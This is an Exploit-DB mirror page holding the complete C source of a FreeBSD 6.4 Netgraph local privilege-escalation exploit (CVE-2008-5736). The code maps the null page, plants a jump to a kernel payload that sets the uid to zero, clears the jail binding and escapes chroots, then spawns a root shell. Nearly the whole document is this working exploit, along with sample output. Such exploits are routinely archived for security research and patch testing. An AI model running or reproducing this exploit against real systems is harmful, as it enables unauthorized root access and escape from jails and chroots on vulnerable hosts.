FreeBSD 6.4 – Netgraph Privilege Escalation

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• 91 阅读

• 作者： zx2c4
  日期： 2011-03-10
• 类别：

  • local
  平台：

  • bsd
• 来源：https://www.exploit-db.com/exploits/16951/

• /*
   * FreeBSD <= 6.4-RELEASE Netgraph Exploit
   * by zx2c4
   * 
   * 
   * This is an exploit for CVE-2008-5736, the FreeBSD protosw
   * and loosely based on Don Bailey's 2008 exploit -
   * http://www.exploit-db.com/exploits/7581/ . The thing with
   * Don's exploit is that it relies on having a known location
   * of allproc, which means having access to the kernel or
   * debugging symbols, either of which might not be available.
   * Initial attempts included a general memory search for some
   * characteristics of allproc, but this was difficult to make
   * reliable. This solution here is a much more standard - get
   * the current thread, change its permissions, and execl to
   * shell. Additionally, it breaks out of chroots and freebsd
   * jails by reparenting to pid 1 and copying its fds.
   *
   * This reliably works on kernels on or below 6.4-RELEASE:
   *
   * $ gcc a.c
   * $ ./a.out
   * ~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~
   * ~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~
   * ~~~~~ greetz to don bailey, edemveiss ~~~~~
   *
   * [+] mmapping null page
   * [+] adding jmp to pwnage in null page
   * [+] opening netgraph socket
   * [+] triggering null dereference
   * [+] elevating permissions
   * [+] got root!
   * #
   *
   * It's an oldie, but simple enough that someone needed
   * to write another PoC exploit at some point.
   *
   * cheers,
   * zx2c4, 27-2-2011
   *
   */
  
  #define _KERNEL
  #include <sys/types.h>
  #include <sys/time.h>
  #include <sys/param.h>
  #include <sys/proc.h>
  #include <sys/ucred.h>
  #include <sys/mman.h>
  #include <sys/socket.h>
  #include <sys/stat.h>
  #include <sys/filedesc.h>
  #include <sys/queue.h>
  #include <netgraph/ng_socket.h>
  #include <stdio.h>
  #include <fcntl.h>
  #include <unistd.h>
  
  #define PAGES 1
  
  
  volatile int got_root = 0;
  int root(void)
  {
  	struct thread *thread;
  	asm(
  		"movl %%fs:0, %0"
  		: "=r"(thread)
  	);
  	thread->td_critnest = 0;
  	thread->td_proc->p_ucred->cr_uid = 0;
  	thread->td_proc->p_ucred->cr_prison = NULL;
  
  	struct proc *parent = thread->td_proc;
  	while (parent->p_pptr && parent->p_pid != 1)
  		parent = parent->p_pptr;
  	thread->td_proc->p_fd->fd_rdir = parent->p_fd->fd_rdir;
  	thread->td_proc->p_fd->fd_jdir = parent->p_fd->fd_jdir;
  	thread->td_proc->p_fd->fd_cdir = parent->p_fd->fd_cdir;
  	thread->td_proc->p_pptr = parent;
  
  	got_root = 1;
  	return 0;
  }
  
  int main(int argc, char *argv[])
  {
  	printf("~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~\n");
  	printf("~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~\n");
  	printf("~~~~~ greetz to don bailey, edemveiss ~~~~~\n\n");
  
  	printf("[+] mmapping null page\n");
  	if (mmap(NULL, PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {
  		perror("[-] mmap failed");
  		return -1;
  	}
  
  	printf("[+] adding jmp to pwnage in null page\n");
  	*(char*)0x0 = 0x90;
  	*(char*)0x1 = 0xe9;
  	*(unsigned long*)0x2 = (unsigned long)&root;
  
  	printf("[+] opening netgraph socket\n");
  	int s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);
  	if (s < 0) {
  		perror("[-] failed to open netgraph socket");
  		return -1;
  	}
  
  	printf("[+] triggering null dereference\n");
  	shutdown(s, SHUT_RDWR);
  
  	if (!got_root) {
  		printf("[-] failed to trigger pwnage\n");
  		return -1;
  	}
  
  	printf("[+] elevating permissions\n");
  	setuid(0);	
  	setgid(0);
  	if (getuid() != 0) {
  		printf("[-] failed to get root\n");
  		return -1;
  	}
  
  	printf("[+] got root!\n");
  	execl("/bin/sh", "sh", NULL);
  
  	return 0;
  }
  

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